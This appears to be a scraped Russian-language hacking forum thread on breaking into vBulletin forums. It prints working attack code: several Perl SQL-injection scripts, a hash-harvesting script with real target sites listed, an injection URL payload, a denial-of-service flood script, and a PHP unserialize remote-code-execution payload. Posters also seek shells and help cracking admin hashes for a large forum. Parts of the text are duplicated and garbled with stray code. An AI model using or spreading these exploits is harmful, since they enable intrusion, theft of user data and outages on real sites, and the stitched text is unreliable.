$req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar=1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT(( select$selectfrom$fromWHERE$wherelimit$limit,1),FL OOR(RAND(1)*3))foo FROM information_schema.table s GROUP BY foo)a)-- -'&uid=1&pid=1");
# Pass request to the user agent and get a response back
my $res=$ua->request($req);
#print $res->content;
if($res->content=~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
{$test= $3};
sleep($sleep);
return$print.$test."\n";
}
&banner;
print"\n################################################ ############################################## #### ###########\n";
print"# EggAvatar for vBulletin 3.8.x SQL Injectio n Vulnerability #\n";
print"# Date:06-03-2011 #\n";
print"# Author: DSecurity #\n";
print"# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n";
print"# Version: 2.3.2 #\n";
print"# Tested on: vBulletin 3.8.0 #\n";
print"################################################## ############################################## #### #########\n";
#login
login($ARGV[1],$ARGV[2]);
#Foot print
printv_request('MySQL version: ','@@version');
printv_request('Data dir: ','@@datadir');
printv_request('User: ','user()');
printv_request('Database: ','database()');
#Get user
for($i=1;$i[COLOR="#007700"]
warhamer2012
10.02.2013, 17:44
Мужики, подскажите насчет vbulletin 4.0.2 Remote File Inclusion
Кто-то пробовал? Все облазил-нашел только следующее
# Exploit :
#
# http://www.site.com/path/includes/class_block.php?classfile=[shell code]
#
# http://www.site.com/path/vb/vb.php?filename=[shell code]
#
# http://www.site.com/path/packages/vbattach/attach.php?include_file=[shell code]
Но не прокатывает на ни на цели, ни на локалке. Что я делаю не так? Или это фейк???
Недавно искал новый сплоит под vBulletin.
Забрел на сайт 1337day.com и меня заинтересовал следующий топик 0дея:
http://1337day.com/exploit/description/20417
Описание гласило:
Access to Admincp and Customer area.
The target forum need to have its install directory available for this exploit to work. /forum/install/upgrade.php
----------------------------------------
Please Enter Your Customer Number
This is the number with which you log in to the vBulletin.com Members' Area
----------------------------------------
The result is MD5,
You will need to bruteforce it to get the 12 char uppercase customer number.
Then you can re-install the forum and access admin area.
Заплатив автору 150$ я получил следующий эксплоит:
vBulletin x.x.x Customer Area 0day
htaccess install dir or delete install dir.
__________________________________________________ __________
# Exploit Title: vBulletin x.x.x Customer Area 0day #
# Author(s): Pixel_death, n3tw0rk, z0ne #
# Perl script coded by n0tch #
# Product: offical software #
# Software Version x.x.x #
# Product Download: http://www.vbulletin.com #
# Google Dork: intext
owered by vBulletin® #
# Demo sites;
# LIVE WORKING DEMO: go to http://vbhacks.info/install/upgrade.php follow the tutorial and decrypt the MD5#
# http://www.vbseo.com/install/upgrade.php #
# http://trove.nla.gov.au/forum/install/upgrade.php #
# http://www.xboxaddict.com/forums/install/upgrade.php #
__________________________________________________ ___________#
This all depends if the upgrade area is still on the forum files, if so you can see the customer number in MD5 by following these simply steps
1st: go to /install/upgrade.php
2nd: view source scroll down to the 300 maybe more and it should look like this #~
Unexpected Text:%1$s";
var SETUPTYPE = "upgrade";
var STEP_X_Y = "Step %1$s - %2$s";
var SERVER_NO_RESPONSE = "The server returned no response. This is probably due to a timeout setting. Please contact vBulletin Support for assistance";
//-->
As you can see var CUSTNUMBER = "38405e0bd55eec58330a6af5e960202e"; is there which can be decoded at http://d4tabase.com/forumdisplay.php?f=110 crack my hash section
then log in, reset admin pass and have fun^^
[CODE]
Auto tool script coded in perl
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common;
system('cls');
system('title vBulletin Install Auto Exploiter');
print "\n ---------------------------------------";
print "\n vBulletin Install Auto Exploiter founded by pixel_death, n3tw0rk & z0ne\n";
print " ---------------------------------------\n";
print " + d4tabase.com -+- d4tabase.com + ";
print "\n ---------------------------------------\n";
print " coded by n0tch shoutz d4tabase crew ";
print "\n ---------------------------------------\n";
if($#ARGV == -1 or $#ARGV > 0)
{
print "\n usage: ./vBulletin.pl domain (without http://) \n\n";
exit;
}
$domain = $ARGV[0];
$install_dir = "install";
$full_domain = "http://$domain/$install_dir/upgrade.php";
chop($domain);
&search;
sub search
{
$url = $full_domain;
$lwp = LWP::UserAgent->new();
$lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8");
$request = $lwp->post($url, ["searchHash" => "Search"]);
print " Searching $domain ----\n ";
if ($request->content =~ /CUSTNUMBER = \"(.+)\";/)
{
print "Result : $1\n";
} else {
print "Hash: Hash not found!\n";
}
}
[code]
Shouts to: n0tch, shadow008
На первый взгляд все вроде-бы отлично.
Сплоит оказался не рабочим..Но не беда,быстро переделал на пхп:
А вот дальше самое интересное!
Захожу на форумы смотрю в папке инсталл фаил upgrade.php вижу в исходниках хэш.
Пробручиваю хэш получаю 12 значное число.
Ввожу в фаиле upgrade.php... форум обнавляется.. Все как в описании , но тут меня постиг первый облом.
http://i068.radikal.ru/1302/bc/3b6adca7e7cc.jpg
После установки ни один из проверенных форумов не предложил сменить пароль.
Вернулся к описанию, "Access to Admincp and Customer area".
Легче от этого не стало:
vbulletin.com/docs/html/main/what_is_memberarea
Цитата:
Members' Area
The Members' Area is a private part of the vBulletin.com site for registered licensed customers. The area is security protected and requires members to enter their customer number and password to again access.
The Members' Area is where you can download vBulletin releases and updates as well as access to additional documentation and resources not publically available.
The Members' Area is currently located at http://members.vbulletin.com.
http://www.vbulletin.com/docs/html/main/what_is_custnum
Цитата:
Customer Number
A customer number is a unique number allocated to everyone who purachses a vBulletin license. The customer number, along with a password is required to access the vBulletin Members' Area.
Для доступа в "Customer area" не достаточно customer number.
[/QUOTE]
" if author else f"
Access to Admincp and Customer area.
The target forum need to have its install directory available for this exploit to work. /forum/install/upgrade.php
----------------------------------------
Please Enter Your Customer Number
This is the number with which you log in to the vBulletin.com Members' Area
----------------------------------------
The result is MD5,
You will need to bruteforce it to get the 12 char uppercase customer number.
Then you can re-install the forum and access admin area.
Заплатив автору 150$ я получил следующий эксплоит:
vBulletin x.x.x Customer Area 0day
htaccess install dir or delete install dir.
__________________________________________________ __________
# Exploit Title: vBulletin x.x.x Customer Area 0day #
# Author(s): Pixel_death, n3tw0rk, z0ne #
# Perl script coded by n0tch #
# Product: offical software #
# Software Version x.x.x #
# Product Download: http://www.vbulletin.com #
# Google Dork: intext
owered by vBulletin® #
# Demo sites;
# LIVE WORKING DEMO: go to http://vbhacks.info/install/upgrade.php follow the tutorial and decrypt the MD5#
# http://www.vbseo.com/install/upgrade.php #
# http://trove.nla.gov.au/forum/install/upgrade.php #
# http://www.xboxaddict.com/forums/install/upgrade.php #
__________________________________________________ ___________#
This all depends if the upgrade area is still on the forum files, if so you can see the customer number in MD5 by following these simply steps
1st: go to /install/upgrade.php
2nd: view source scroll down to the 300 maybe more and it should look like this #~
Unexpected Text:%1$s";
var SETUPTYPE = "upgrade";
var STEP_X_Y = "Step %1$s - %2$s";
var SERVER_NO_RESPONSE = "The server returned no response. This is probably due to a timeout setting. Please contact vBulletin Support for assistance";
//-->
As you can see var CUSTNUMBER = "38405e0bd55eec58330a6af5e960202e"; is there which can be decoded at http://d4tabase.com/forumdisplay.php?f=110 crack my hash section
then log in, reset admin pass and have fun^^
[CODE]
Auto tool script coded in perl
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request::Common;
system('cls');
system('title vBulletin Install Auto Exploiter');
print "\n ---------------------------------------";
print "\n vBulletin Install Auto Exploiter founded by pixel_death, n3tw0rk & z0ne\n";
print " ---------------------------------------\n";
print " + d4tabase.com -+- d4tabase.com + ";
print "\n ---------------------------------------\n";
print " coded by n0tch shoutz d4tabase crew ";
print "\n ---------------------------------------\n";
if($#ARGV == -1 or $#ARGV > 0)
{
print "\n usage: ./vBulletin.pl domain (without http://) \n\n";
exit;
}
$domain = $ARGV[0];
$install_dir = "install";
$full_domain = "http://$domain/$install_dir/upgrade.php";
chop($domain);
&search;
sub search
{
$url = $full_domain;
$lwp = LWP::UserAgent->new();
$lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8");
$request = $lwp->post($url, ["searchHash" => "Search"]);
print " Searching $domain ----\n ";
if ($request->content =~ /CUSTNUMBER = \"(.+)\";/)
{
print "Result : $1\n";
} else {
print "Hash: Hash not found!\n";
}
}
[code]
Shouts to: n0tch, shadow008
На первый взгляд все вроде-бы отлично.
Сплоит оказался не рабочим..Но не беда,быстро переделал на пхп:
А вот дальше самое интересное!
Захожу на форумы смотрю в папке инсталл фаил upgrade.php вижу в исходниках хэш.
Пробручиваю хэш получаю 12 значное число.
Ввожу в фаиле upgrade.php... форум обнавляется.. Все как в описании , но тут меня постиг первый облом.
http://i068.radikal.ru/1302/bc/3b6adca7e7cc.jpg
После установки ни один из проверенных форумов не предложил сменить пароль.
Вернулся к описанию, "Access to Admincp and Customer area".
Легче от этого не стало:
vbulletin.com/docs/html/main/what_is_memberarea
Цитата:
Members' Area
The Members' Area is a private part of the vBulletin.com site for registered licensed customers. The area is security protected and requires members to enter their customer number and password to again access.
The Members' Area is where you can download vBulletin releases and updates as well as access to additional documentation and resources not publically available.
The Members' Area is currently located at http://members.vbulletin.com.
http://www.vbulletin.com/docs/html/main/what_is_custnum
Цитата:
Customer Number
A customer number is a unique number allocated to everyone who purachses a vBulletin license. The customer number, along with a password is required to access the vBulletin Members' Area.
Для доступа в "Customer area" не достаточно customer number.
[/QUOTE]
Эксплоит оказался не рабочим, но что-то делать было нужно.
Мой вгляд пал на только что обновленную булку до версии: 4.1.5
mmoru.com
Зарегистрировавшись , я обратил внимание что на самом сайте стоит движек vBuletin на котором возможно писать статьи.
Проверяя переменные наткнулся на sq-injection , как в последствии оказалось присущюю всем vbulletin 4.1.5.
Название: Уязвимость в vBulletin 4.1.5
Dork: Powered by Powered by vBulletin 4.1.5
Условия: Аккаунт на форуме. Разрешение на прикрепление файлов к сообщениям/темам (attachments)
Регистрируемся -> заходим на форум -> жмем создать тему или если стоит борд, то можно выбрать создать статью (второй вариант чаще срабатывал) -> в самом низу ищем Вложения "Управление вложениями" -> Открываем окно и в параметр "values[f]" вставляем наш SQL запрос.
Пример:
:
http://site.com/board/newattachment.php?do=assetmanager&values[f]=-1599+or(1,2)=(select*from(select+name_const(versio n(),1),name_const(version(),1))a)&contenttypeid=18&poststarttime=1360663633&posthash=4f5c850593e10c5450d9e880d58a56d8&insertinline=1
После чего видим стандартную ошибку БД форума, следовательно открываем исходный код страницы и видим:
С вами были Piv8Team (priv8.ru)
vBulletin 5 Beta XX SQLi 0day
#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use MIME::Base64;
system $^O eq 'MSWin32' ? 'cls' : 'clear';
print "
+================================================= ==+
| vBulletin 5 Beta XX SQLi 0day |
| Author: Orestis Kourides |
| Web Site: www.cyitsec.net |
+================================================= ==+
";
if (@ARGV != 5) {
print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";
exit;
}
$host = $ARGV[0];
$path = $ARGV[1];
$username = $ARGV[2];
$password = $ARGV[3];
$magicnum = $ARGV[4];
$encpath = encode_base64('http://'.$host.$path);
print "[+] Logging\n";
print "[+] Username: ".$username."\n";
print "[+] Password: ".$password."\n";
print "[+] MagicNum: ".$magicnum."\n";
print "[+] " .$host.$path."auth/login\n";
my $browser = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
my $response = $browser->post( 'http://'.$host.$path.'auth/login',
[
'url' => $encpath,
'username' => $username,
'password' => $password,
],
Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$browser->cookie_jar( $cookie_jar );
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( $cookie_jar );
print "[+] Requesting\n";
my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
[
'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1=1',
],
User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$data = $response->content;
if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
print "\n";
exit 1;
Oro4imaru
20.10.2013, 10:13
vBulletin® Version 4.1.5
http://www.youtube.com/watch?v=k9xe55gq2fc
wauffmannn
11.11.2013, 01:10
Обход ограничений безопасности в vBulletin
Дата публикации: 10.10.2013
Дата изменения: 10.10.2013
Всего просмотров: 1104
Опасность: Высокая
Наличие исправления: Инстуркции по устранению
Количество уязвимостей: 1
CVSSv2 рейтинг: (AV:N/AC:L/Au:N/C/I/A/E:H/RL:W/RC:C) = Base:7.5/Temporal:7.1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Обход ограничений безопасности
CWE ID: Нет данных
Наличие эксплоита: Активная эксплуатация уязвимости
Уязвимые продукты: vBulletin 4.x
vBulletin 5.x
Уязвимые версии: vBulletin версии 4.x, 5.x
Описание:
Уязвимость позволяет удаленному пользователю получить административный доступ к приложению.
Уязвимость существует из-за неизвестной ошибки в сценарии /install/upgrade.php. Удаленный пользователь может с помощью специально сформированного запроса создать новую административную учетную запись и получить полный контроль над приложением.
Уязвимость активно эксплуатируется в настоящее время.
URL производителя: http://www.vbulletin.com/
Решение: Способов устранения уязвимости не существует в настоящее время. В качестве временно решения производитель рекомендует удалить установочные директории /install/ или /core/install/.
Ссылки:
http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5
http://www.vbulletin.org/forum/showthread.php?p=2443431
где взять POC?
Дата публикации: 10.10.2013
Дата изменения: 10.10.2013
Всего просмотров: 1104
Опасность: Высокая
Наличие исправления: Инстуркции по устранению
Количество уязвимостей: 1
CVSSv2 рейтинг: (AV:N/AC:L/Au:N/C
/I
/A
/E:H/RL:W/RC:C) = Base:7.5/Temporal:7.1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Обход ограничений безопасности
CWE ID: Нет данных
Наличие эксплоита: Активная эксплуатация уязвимости
Уязвимые продукты: vBulletin 4.x
vBulletin 5.x
Уязвимые версии: vBulletin версии 4.x, 5.x
Описание:
Уязвимость позволяет удаленному пользователю получить административный доступ к приложению.
Уязвимость существует из-за неизвестной ошибки в сценарии /install/upgrade.php. Удаленный пользователь может с помощью специально сформированного запроса создать новую административную учетную запись и получить полный контроль над приложением.
Уязвимость активно эксплуатируется в настоящее время.
URL производителя: http://www.vbulletin.com/
Решение: Способов устранения уязвимости не существует в настоящее время. В качестве временно решения производитель рекомендует удалить установочные директории /install/ или /core/install/.
Ссылки:
http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5
http://www.vbulletin.org/forum/showthread.php?p=2443431
где взять POC?
там одной булки не достаточно, нужна читалка на серваке
более подробно тут (http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html)
Кто нибудь знает какой-нибудь способ, как посмотреть скрытые сообщения? Версия vBulletin 4.1.10
да. http://www.1337day.com/exploit/17824
Небольшая заметка о "быстром" поиске админки.
В случае, когда у Вас есть администраторский аккаунт, но нет доступа в админку, по причине "админ захотел поиграть в кошки-мышки и переименовал админку", дабы не брутить и не нагружать сервер кучей бесполезных логов, поможет следующий способ:
заходим в профиль любого пользователя (forum/member.php?u=2), видим кнопку "Edit Profile / Редактировать учётную запись". По ссылке - как раз адрес админки.
VB >= 2.8.6
Другие версии не проверял.
Небольшая заметка о "быстром" поиске админки.
В случае, когда у Вас есть администраторский аккаунт, но нет доступа в админку, по причине "админ захотел поиграть в кошки-мышки и переименовал админку", дабы не брутить и не нагружать сервер кучей бесполезных логов, поможет следующий способ:
заходим в профиль любого пользователя (forum/member.php?u=2), видим кнопку "Edit Profile / Редактировать учётную запись". По ссылке - как раз адрес админки.
VB >= 2.8.6
Другие версии не проверял.
Я уже подобное писал выше, только не стоит забывать, что данный способ работает если переименованная админка прописана в config.php
Если она не прописана в конфиге то не найти.
Залили другу через шелл такую штукуVbulletin activity Page Denial of Service,
сам не проверял кому то может пригодится
#!/usr/bin/perl
#
# Vbulletin activity Page Denial of Service
# Code Written By silent
# Site : Www.IrIsT.Ir - Www.IrIsT.Ir/forum - Www.IrIsT.Ir/en
# Facebook Page : https://www.facebook.com/pages/IrIsT-Hacking-Security-Researcher-Group/488307267857573
# Greats : Amir , Codex , Beni_Vanda , sajjad13and11 , Andd All IrIsT Members
#
use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
if(!$ARGV[1])
{
print "\n\n";
print "\t Vbulletin activity Page Denial of Service\n";
print "\t Discoverd By silent \n";
print "\t Www.IrIsT.Ir \n";
print "\t =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-\n";
print "\t [host] [path] \n";
print "\t host.com /Vbulletin/\n";
print "\t =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=\n";
exit();
}
for($i=0; $inew(Proto => "tcp", PeerAddr => $host, PeerPort => "80") or die("[-] Connection faild.\n");
$post = "show=1%1%1%1%1%1%1%1%1%1%1%&time=1%1%1%1%1%1%1%1%1%1%1%&sortby=1%1%1%1%1%1%1%1%1%1%1%";
$pack.= "POST " .$path. "/activity.php HTTP/1.1\r\n";
$pack.= "Host: " .$host. "\r\n";
$pack.= "User-Agent: Googlebot/2.1\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Content-Length: " .length($post). "\r\n\r\n";
$pack.= $post;
print $socket $pack;
syswrite STDOUT, "+";
}
https://github.com/rezasp/vbscan/
Black Box vBulletin Vulnerability Scanner
vBulletin 5 PreAuth RCE writeup
by @_cutz
vBulletin implements certain ajax API calls in /core/vb/api/, one of them is hook.php:
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
{
$result = '';
foreach ($args AS $varname => $value)
{
$result .= $varname;
Apart from the obvious unserialize() not much else happening there -- luckily we have in /core/vb/db/result.php:
class vB_dB_Result implements Iterator
{
...
public function rewind()
{
//no need to rerun the query if we are at the beginning of the recordset.
if ($this->bof)
{
return;
}
if ($this->recordset)
{
$this->db->free_result($this->recordset);
}
rewind() is the first function to get called when an Iterator object is accessed via foreach(). Then we have in /core/vb/database.php:
abstract class vB_Database
{
...
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}
Which gives easy RCE. Setup objects accordingly:
$ php functions['free_result'] = 'phpinfo';
}
}
class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct()
{
$this->db = new vB_Database();
$this->recordset = 1;
}
}
print urlencode(serialize(new vB_dB_Result())) . "\n";
eof
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%0 0%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7 Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22 free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3 A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D
Just surf to:
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"�*�db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:7:"phpinfo";}}s:12:"�*�recordset";i:1;} (http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result %22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A %22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22 %3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3 A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00record set%22%3Bi%3A1%3B%7D)
The fix was just replacing the unserialize() with json_decode(). Btw this bug has been sitting in vBulletin for more than three years.
-- cutz
indigo666
09.01.2016, 06:35
Кто-нибудь знает уязвимости в VB 3.8.7 / 4.2.x?
user6334
10.01.2016, 01:18
↑ (https://antichat.live/posts/3913174/)
vBulletin 5 PreAuth RCE writeup
у меня так выводятся только кавычки, пробовал много
https://github.com/rezasp/vbscan
обновился
OWASP VBScan 0.1.6 [Dennis Ritchie again]
Project name has been changed to "OWASP VBScan"
Added automatic vBulletin detection
Added robots.txt analyzer module
Added vbulletin LICENSE checker module
Optimized backup finder module
Optimized exploit check module
Fixed YUI 2.9.0 XSS false positive
Vbulletin version checker module bug fixed
"-h" switch not exist anymore
В курсе кто про Vbulliten 2.2.9 ? нашел там 4 SQL Injection но они все time based не могу раскрутить да и сурсов форума не найти.
PS там еще крутится 3.7.3 и аккаунт модератора есть.
на 3.7.3 admincp basic авторизация.
на 2.2.9 прост admincp шелл думаю залить труда не составит дырявый форум как друшлак
Опыт у меня большой, но ска скулю не могу раскрутить поможет, кто получить доступ?
PS,s 400 000 пользователей.
PS.S У меня сервис HashDB расшифровать не составит труда хеши админов.
GrAmOzEkA
26.01.2018, 18:45
Может кто запилить полный текст из https://xakep.ru/2017/12/27/vbulletin-5-exploit/
https://pste.eu/p/PPQZ.html
Странно, что используют логи сервера, по моему инклуд временных файлов будет намного универсальнее.
↑ (https://antichat.live/posts/4177708/)
https://pste.eu/p/PPQZ.html
Странно, что используют логи сервера, по моему инклуд временных файлов будет намного универсальнее.
это по типу как через phpinfo инклудят или какие то другие? что за файлы)?
↑ (https://antichat.live/posts/4177719/)
это по типу как через phpinfo инклудят или какие то другие? что за файлы)?
rfc1867
кто знает как залить шелл на 4.2.2?
через плагины не катит
Для
vBulletin 4.2.5 Release Candidate 1
Имеется что?
karkajoi
17.10.2019, 18:14
Под 5ю ветку
https://www.exploit-db.com/exploits/47475
https://seclists.org/fulldisclosure/2019/Oct/8
https://seclists.org/fulldisclosure/2019/Sep/31
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot